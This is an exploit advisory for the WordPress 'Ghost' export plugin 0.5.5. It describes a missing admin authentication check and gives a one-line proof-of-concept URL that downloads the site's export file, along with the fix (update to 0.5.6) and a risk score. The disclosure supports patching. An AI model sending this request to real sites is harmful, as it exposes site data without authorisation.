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WordPress Plugin Ghost 0.5.5 - Unrestricted Export Download

🗓️ 02 May 2016 00:00:00Reported by Josh BrodyType 
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WordPress Plugin Ghost 0.5.5 - Unrestricted Export Download vulnerability. Allows any visitor to download Ghost Export file without proper authentication. Update to version 0.5.6 required

Code
# Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
 
1. Description
   
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
   
2. Proof of Concept

http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file

File will be downloaded.
   
3. Solution:

Update to version 0.5.6

https://downloads.wordpress.org/plugin/ghost.0.5.6.zip

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02 May 2016 00:00Current
7.4High risk
Vulners AI Score7.4
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